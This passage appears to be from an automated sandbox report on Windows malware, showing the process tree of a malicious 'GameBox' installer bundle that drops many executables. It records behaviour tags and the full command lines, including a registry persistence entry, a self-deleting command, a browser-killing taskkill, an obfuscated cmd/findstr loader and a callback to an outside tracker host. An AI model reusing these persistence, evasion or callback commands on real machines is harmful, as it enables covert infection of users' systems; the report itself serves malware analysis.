                                      • Suspicious use of SetWindowsHookEx
                                      PID:1288
                                      • C:\Users\Admin\AppData\Local\Temp\is-EAKQD.tmp\AVrhVV_OwElqYHMf48oYIkMR.tmp
                                        "C:\Users\Admin\AppData\Local\Temp\is-EAKQD.tmp\AVrhVV_OwElqYHMf48oYIkMR.tmp" /SL5="$601F4,138429,56832,C:\Users\Admin\Documents\AVrhVV_OwElqYHMf48oYIkMR.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4004
                                        • C:\Users\Admin\AppData\Local\Temp\is-6PDGQ.tmp\Setup.exe
                                          "C:\Users\Admin\AppData\Local\Temp\is-6PDGQ.tmp\Setup.exe" /Verysilent
                                          5⤵
                                          • Executes dropped EXE
                                          • Drops file in Program Files directory
                                          • Suspicious use of SetWindowsHookEx
                                          PID:5824
                                          • C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
                                            "C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
                                            6⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetWindowsHookEx
                                            PID:5700
                                            • C:\Users\Admin\AppData\Local\Temp\is-5TGBR.tmp\Inlog.tmp
                                              "C:\Users\Admin\AppData\Local\Temp\is-5TGBR.tmp\Inlog.tmp" /SL5="$30212,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
                                              7⤵
                                              • Loads dropped DLL
                                              • Suspicious use of FindShellTrayWindow
                                              • Suspicious use of SetWindowsHookEx
                                              PID:5728
                                              • C:\Users\Admin\AppData\Local\Temp\is-EV1EG.tmp\Setup.exe
                                                "C:\Users\Admin\AppData\Local\Temp\is-EV1EG.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
                                                8⤵
                                                • Suspicious use of SetWindowsHookEx
                                                PID:7972
                                                • C:\Users\Admin\AppData\Local\Temp\is-3AFNV.tmp\Setup.tmp
                                                  "C:\Users\Admin\AppData\Local\Temp\is-3AFNV.tmp\Setup.tmp" /SL5="$304D8,17369384,721408,C:\Users\Admin\AppData\Local\Temp\is-EV1EG.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
                                                  9⤵
                                                  • Loads dropped DLL
                                                  • Drops file in Program Files directory
                                                  • Suspicious use of FindShellTrayWindow
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:7224
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-1G34L.tmp\{app}\microsoft.cab -F:* %ProgramData%
                                                    10⤵
                                                      PID:7500
                                                      • C:\Windows\SysWOW64\expand.exe
                                                        expand C:\Users\Admin\AppData\Local\Temp\is-1G34L.tmp\{app}\microsoft.cab -F:* C:\ProgramData
                                                        11⤵
                                                        • Drops file in Windows directory
                                                        PID:8176
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
                                                      10⤵
                                                        PID:5876
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
                                                          11⤵
                                                            PID:3160
                                                        • C:\Users\Admin\AppData\Local\Temp\is-1G34L.tmp\{app}\vdi_compiler.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\is-1G34L.tmp\{app}\vdi_compiler"
                                                          10⤵
                                                            PID:9024
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-1G34L.tmp\{app}\vdi_compiler.exe"
                                                              11⤵
                                                                PID:5716
                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                  ping localhost -n 4
                                                                  12⤵
                                                                  • Runs ping.exe
                                                                  PID:8764
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
                                                              10⤵
                                                              • Checks computer location settings
                                                              PID:7148
                                                            • C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
                                                              "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
                                                              10⤵
                                                                PID:9556
                                                      • C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe
                                                        "C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:5668
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 764
                                                          7⤵
                                                          • Program crash
                                                          PID:7024
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 796
                                                          7⤵
                                                          • Program crash
                                                          PID:7456
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 816
                                                          7⤵
                                                          • Program crash
                                                          PID:7932
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 744
                                                          7⤵
                                                          • Program crash
                                                          PID:7700
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 964
                                                          7⤵
                                                          • Program crash
                                                          PID:5364
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 996
                                                          7⤵
                                                          • Program crash
                                                          PID:7492
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 1356
                                                          7⤵
                                                          • Program crash
                                                          PID:6264
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 1316
                                                          7⤵
                                                            PID:5884
                                                        • C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
                                                          "C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
                                                          6⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:4984
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd.exe /c taskkill /f /im chrome.exe
                                                            7⤵
                                                              PID:5420
                                                              • C:\Windows\System32\Conhost.exe
                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                8⤵
                                                                • Loads dropped DLL
                                                                PID:5344
                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                taskkill /f /im chrome.exe
                                                                8⤵
                                                                • Kills process with taskkill
                                                                PID:4340
                                                          • C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe
                                                            "C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe"
                                                            6⤵
                                                            • Executes dropped EXE
                                                            • Checks whether UAC is enabled
                                                            • Drops file in Program Files directory
                                                            PID:3396
                                                          • C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
                                                            "C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
                                                            6⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4932
                                                            • C:\Users\Admin\AppData\Local\Temp\is-6V5K8.tmp\VPN.tmp
                                                              "C:\Users\Admin\AppData\Local\Temp\is-6V5K8.tmp\VPN.tmp" /SL5="$30260,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
                                                              7⤵
                                                              • Loads dropped DLL
                                                              • Suspicious use of FindShellTrayWindow
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:5248
                                                              • C:\Users\Admin\AppData\Local\Temp\is-N0E8U.tmp\Setup.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\is-N0E8U.tmp\Setup.exe" /silent /subid=720
                                                                8⤵
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:5448
                                                                • C:\Users\Admin\AppData\Local\Temp\is-P7MJP.tmp\Setup.tmp
                                                                  "C:\Users\Admin\AppData\Local\Temp\is-P7MJP.tmp\Setup.tmp" /SL5="$20464,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-N0E8U.tmp\Setup.exe" /silent /subid=720
                                                                  9⤵
                                                                  • Loads dropped DLL
                                                                  • Drops file in Program Files directory
                                                                  • Modifies registry class
                                                                  • Modifies system certificate store
                                                                  • Suspicious use of FindShellTrayWindow
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:4796
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                    10⤵
                                                                      PID:2260
                                                                      • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                        tapinstall.exe remove tap0901
                                                                        11⤵
                                                                        • Checks SCSI registry key(s)
                                                                        • Suspicious use of SetWindowsHookEx
                                                                        PID:4180
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                      10⤵
                                                                        PID:6632
                                                                        • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                          tapinstall.exe install OemVista.inf tap0901
                                                                          11⤵
                                                                          • Drops file in System32 directory
                                                                          • Drops file in Windows directory
                                                                          • Checks SCSI registry key(s)
                                                                          PID:8308
                                                                      • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                        10⤵
                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                        PID:5880
                                                                        • C:\Windows\System32\Conhost.exe
                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                          11⤵
                                                                          • Drops file in Drivers directory
                                                                          • Drops file in System32 directory
                                                                          • Drops file in Windows directory
                                                                          • Checks SCSI registry key(s)
                                                                          PID:7120
                                                                      • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
                                                                        10⤵
                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                        PID:4192
                                                              • C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
                                                                "C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
                                                                6⤵
                                                                • Checks computer location settings
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:5928
                                                                • C:\Users\Admin\Documents\mkaghdUS_KGSTIWJQAeJ_ZIX.exe
                                                                  "C:\Users\Admin\Documents\mkaghdUS_KGSTIWJQAeJ_ZIX.exe"
                                                                  7⤵
                                                                    PID:6344
                                                                    • C:\Users\Admin\AppData\Roaming\8140311.exe
                                                                      "C:\Users\Admin\AppData\Roaming\8140311.exe"
                                                                      8⤵
                                                                        PID:2392
                                                                      • C:\Users\Admin\AppData\Roaming\2705404.exe
                                                                        "C:\Users\Admin\AppData\Roaming\2705404.exe"
                                                                        8⤵
                                                                        • Suspicious behavior: SetClipboardViewer
                                                                        PID:6392
                                                                    • C:\Users\Admin\Documents\gEAzHu7mFOfBokYl4QkHiN3Q.exe
                                                                      "C:\Users\Admin\Documents\gEAzHu7mFOfBokYl4QkHiN3Q.exe"
                                                                      7⤵
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:6424
                                                                    • C:\Users\Admin\Documents\oKdJh_VpCXo3PrxEPT6TWZpt.exe
                                                                      "C:\Users\Admin\Documents\oKdJh_VpCXo3PrxEPT6TWZpt.exe"
                                                                      7⤵
                                                                      • Checks BIOS information in registry
                                                                      • Checks whether UAC is enabled
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      PID:6560
                                                                    • C:\Users\Admin\Documents\33Nf0fdPhgTKQyYhsWkOYKuD.exe
                                                                      "C:\Users\Admin\Documents\33Nf0fdPhgTKQyYhsWkOYKuD.exe"
                                                                      7⤵
                                                                      • Checks BIOS information in registry
                                                                      • Checks whether UAC is enabled
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      PID:6652
                                                                    • C:\Users\Admin\Documents\eDaVrEm895ZxiNdAfoPflzuK.exe
                                                                      "C:\Users\Admin\Documents\eDaVrEm895ZxiNdAfoPflzuK.exe"
                                                                      7⤵
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:6704
                                                                    • C:\Users\Admin\Documents\GxT86tQmgbc1o5PKqgz9u_NW.exe
                                                                      "C:\Users\Admin\Documents\GxT86tQmgbc1o5PKqgz9u_NW.exe"
                                                                      7⤵
                                                                      • Checks BIOS information in registry
                                                                      • Checks whether UAC is enabled
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      PID:6788
                                                                    • C:\Users\Admin\Documents\9FpxUFO1NMelT9hbBSu0LgfD.exe
                                                                      "C:\Users\Admin\Documents\9FpxUFO1NMelT9hbBSu0LgfD.exe"
                                                                      7⤵
                                                                        PID:6820
                                                                      • C:\Users\Admin\Documents\SojcfU5nLUdYoPaPRjbkG2RW.exe
                                                                        "C:\Users\Admin\Documents\SojcfU5nLUdYoPaPRjbkG2RW.exe"
                                                                        7⤵
                                                                        • Suspicious use of SetWindowsHookEx
                                                                        PID:6596
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 6596 -s 1120
                                                                          8⤵
                                                                            PID:7036
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6596 -s 1152
                                                                            8⤵
                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                            PID:7768
                                                                        • C:\Users\Admin\Documents\xl_2FnTxZ_5WGlRwSooUURUL.exe
                                                                          "C:\Users\Admin\Documents\xl_2FnTxZ_5WGlRwSooUURUL.exe"
                                                                          7⤵
                                                                          • Suspicious use of SetWindowsHookEx
                                                                          PID:4140
                                                                        • C:\Users\Admin\Documents\V41gsLwlBONWquDRDSV6NJGA.exe
                                                                          "C:\Users\Admin\Documents\V41gsLwlBONWquDRDSV6NJGA.exe"
                                                                          7⤵
                                                                          • Suspicious use of SetThreadContext
                                                                          PID:6908
                                                                          • C:\Users\Admin\Documents\V41gsLwlBONWquDRDSV6NJGA.exe
                                                                            C:\Users\Admin\Documents\V41gsLwlBONWquDRDSV6NJGA.exe
                                                                            8⤵
                                                                              PID:7632
                                                                          • C:\Users\Admin\Documents\0kILb9M6OcMzCP10yzoa35zq.exe
                                                                            "C:\Users\Admin\Documents\0kILb9M6OcMzCP10yzoa35zq.exe"
                                                                            7⤵
                                                                            • Suspicious use of SetThreadContext
                                                                            PID:6960
                                                                            • C:\Users\Admin\Documents\0kILb9M6OcMzCP10yzoa35zq.exe
                                                                              C:\Users\Admin\Documents\0kILb9M6OcMzCP10yzoa35zq.exe
                                                                              8⤵
                                                                                PID:7720
                                                                              • C:\Users\Admin\Documents\0kILb9M6OcMzCP10yzoa35zq.exe
                                                                                C:\Users\Admin\Documents\0kILb9M6OcMzCP10yzoa35zq.exe
                                                                                8⤵
                                                                                  PID:8064
                                                                              • C:\Users\Admin\Documents\MAw2StHvh1JCuovVu3aurZP_.exe
                                                                                "C:\Users\Admin\Documents\MAw2StHvh1JCuovVu3aurZP_.exe"
                                                                                7⤵
                                                                                  PID:7048
                                                                                • C:\Users\Admin\Documents\p029_GDccd_68JfElg2TZTYl.exe
                                                                                  "C:\Users\Admin\Documents\p029_GDccd_68JfElg2TZTYl.exe"
                                                                                  7⤵
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:7164
                                                                                  • C:\Users\Admin\Documents\p029_GDccd_68JfElg2TZTYl.exe
                                                                                    "C:\Users\Admin\Documents\p029_GDccd_68JfElg2TZTYl.exe"
                                                                                    8⤵
                                                                                    • Modifies data under HKEY_USERS
                                                                                    PID:5560
                                                                                • C:\Users\Admin\Documents\y8ypcat3nRJ2KIEbN2EgkMlm.exe
                                                                                  "C:\Users\Admin\Documents\y8ypcat3nRJ2KIEbN2EgkMlm.exe"
                                                                                  7⤵
                                                                                  • Loads dropped DLL
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:6208
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6208 -s 960
                                                                                    8⤵
                                                                                    • Program crash
                                                                                    PID:7844
                                                                                • C:\Users\Admin\Documents\_E58rI8aNwYsrFdejv6RxTMC.exe
                                                                                  "C:\Users\Admin\Documents\_E58rI8aNwYsrFdejv6RxTMC.exe"
                                                                                  7⤵
                                                                                  • Suspicious use of SetThreadContext
                                                                                  PID:6852
                                                                                  • C:\Users\Admin\Documents\_E58rI8aNwYsrFdejv6RxTMC.exe
                                                                                    C:\Users\Admin\Documents\_E58rI8aNwYsrFdejv6RxTMC.exe
                                                                                    8⤵
                                                                                      PID:7944
                                                                                  • C:\Users\Admin\Documents\cLoDTh3ZLlIA1T12NBQsCXXZ.exe
                                                                                    "C:\Users\Admin\Documents\cLoDTh3ZLlIA1T12NBQsCXXZ.exe"
                                                                                    7⤵
                                                                                      PID:1400
                                                                                    • C:\Users\Admin\Documents\JFLd42wR370zQA52ac7JcwI8.exe
                                                                                      "C:\Users\Admin\Documents\JFLd42wR370zQA52ac7JcwI8.exe"
                                                                                      7⤵
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:6992
                                                                                    • C:\Users\Admin\Documents\xAsi0ul1PzhiFj1_Fa0Q9dqx.exe
                                                                                      "C:\Users\Admin\Documents\xAsi0ul1PzhiFj1_Fa0Q9dqx.exe"
                                                                                      7⤵
                                                                                      • Checks BIOS information in registry
                                                                                      • Checks whether UAC is enabled
                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                      PID:6980
                                                                                    • C:\Users\Admin\Documents\OM7Vl5ocR4z7hd0M2pDBfqQu.exe
                                                                                      "C:\Users\Admin\Documents\OM7Vl5ocR4z7hd0M2pDBfqQu.exe"
                                                                                      7⤵
                                                                                        PID:7432
                                                                                        • C:\Users\Admin\Documents\OM7Vl5ocR4z7hd0M2pDBfqQu.exe
                                                                                          "C:\Users\Admin\Documents\OM7Vl5ocR4z7hd0M2pDBfqQu.exe" -q
                                                                                          8⤵
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:7460
                                                                                      • C:\Users\Admin\Documents\T4o0LD3AdwM8HNDSDuPRv0pa.exe
                                                                                        "C:\Users\Admin\Documents\T4o0LD3AdwM8HNDSDuPRv0pa.exe"
                                                                                        7⤵
                                                                                          PID:7920
                                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
                                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
                                                                                        6⤵
                                                                                          PID:5852
                                                                                          • C:\Users\Admin\AppData\Local\Temp\tmpB42_tmp.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\tmpB42_tmp.exe"
                                                                                            7⤵
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:6156
                                                                                            • C:\Windows\SysWOW64\dllhost.exe
                                                                                              "C:\Windows\System32\dllhost.exe"
                                                                                              8⤵
                                                                                                PID:8040
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks
                                                                                                8⤵
                                                                                                  PID:8188
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd
                                                                                                    9⤵
                                                                                                      PID:6932
                                                                                                      • C:\Windows\SysWOW64\findstr.exe
                                                                                                        findstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks
                                                                                                        10⤵
                                                                                                          PID:6624
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                          Esplorarne.exe.com i
                                                                                                          10⤵
                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:9092
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                            11⤵
                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                            PID:6224
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                              12⤵
                                                                                                              • Suspicious use of SendNotifyMessage
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:4148
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                13⤵
                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:6000
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                  14⤵
                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                  PID:8460
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                    15⤵
                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                    PID:9084
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                      16⤵
                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                      PID:8116
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                        17⤵
                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                        PID:6744
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                          18⤵
                                                                                                                            PID:7844
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                              19⤵
                                                                                                                              • Loads dropped DLL
                                                                                                                              • Suspicious use of SendNotifyMessage
                                                                                                                              PID:1664
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                20⤵
                                                                                                                                  PID:9484
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                    21⤵
                                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                                    PID:9948
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                      22⤵
                                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                                      PID:10228
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                        23⤵
                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                        PID:9456
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                          24⤵
                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                          PID:9604
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                            25⤵
                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                            PID:9184
                                                                                                            • C:\Windows\SysWOW64\PING.EXE
                                                                                                              ping GFBFPSXA -n 30
                                                                                                              10⤵
                                                                                                              • Runs ping.exe
                                                                                                              PID:2616
                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
                                                                                                      6⤵
                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                      PID:5856
                                                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
                                                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
                                                                                                        7⤵
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        PID:4512
                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
                                                                                                      6⤵
                                                                                                        PID:4100
                                                                                                        • C:\Users\Admin\AppData\Roaming\3459121.exe
                                                                                                          "C:\Users\Admin\AppData\Roaming\3459121.exe"
                                                                                                          7⤵
                                                                                                            PID:5812
                                                                                                          • C:\Users\Admin\AppData\Roaming\5160378.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\5160378.exe"
                                                                                                            7⤵
                                                                                                            • Suspicious behavior: SetClipboardViewer
                                                                                                            PID:5464
                                                                                                          • C:\Users\Admin\AppData\Roaming\5579088.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\5579088.exe"
                                                                                                            7⤵
                                                                                                              PID:4476
                                                                                                            • C:\Users\Admin\AppData\Roaming\5997798.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\5997798.exe"
                                                                                                              7⤵
                                                                                                                PID:5528
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  8⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:5320
                                                                                                            • C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
                                                                                                              "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                                                              6⤵
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:5784
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-OUR0S.tmp\MediaBurner2.tmp
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-OUR0S.tmp\MediaBurner2.tmp" /SL5="$20320,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                                                                7⤵
                                                                                                                • Loads dropped DLL
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:4128
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-B5DTU.tmp\3377047_logo_media.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-B5DTU.tmp\3377047_logo_media.exe" /S /UID=burnerch2
                                                                                                                  8⤵
                                                                                                                  • Drops file in Drivers directory
                                                                                                                  • Adds Run key to start application
                                                                                                                  • Drops file in Program Files directory
                                                                                                                  PID:5696
                                                                                                                  • C:\Program Files\Windows Defender Advanced Threat Protection\EPLTNBLEKJ\ultramediaburner.exe
                                                                                                                    "C:\Program Files\Windows Defender Advanced Threat Protection\EPLTNBLEKJ\ultramediaburner.exe" /VERYSILENT
                                                                                                                    9⤵
                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                    PID:7584
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-2JO4H.tmp\ultramediaburner.tmp
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-2JO4H.tmp\ultramediaburner.tmp" /SL5="$80202,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\EPLTNBLEKJ\ultramediaburner.exe" /VERYSILENT
                                                                                                                      10⤵
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Suspicious use of FindShellTrayWindow
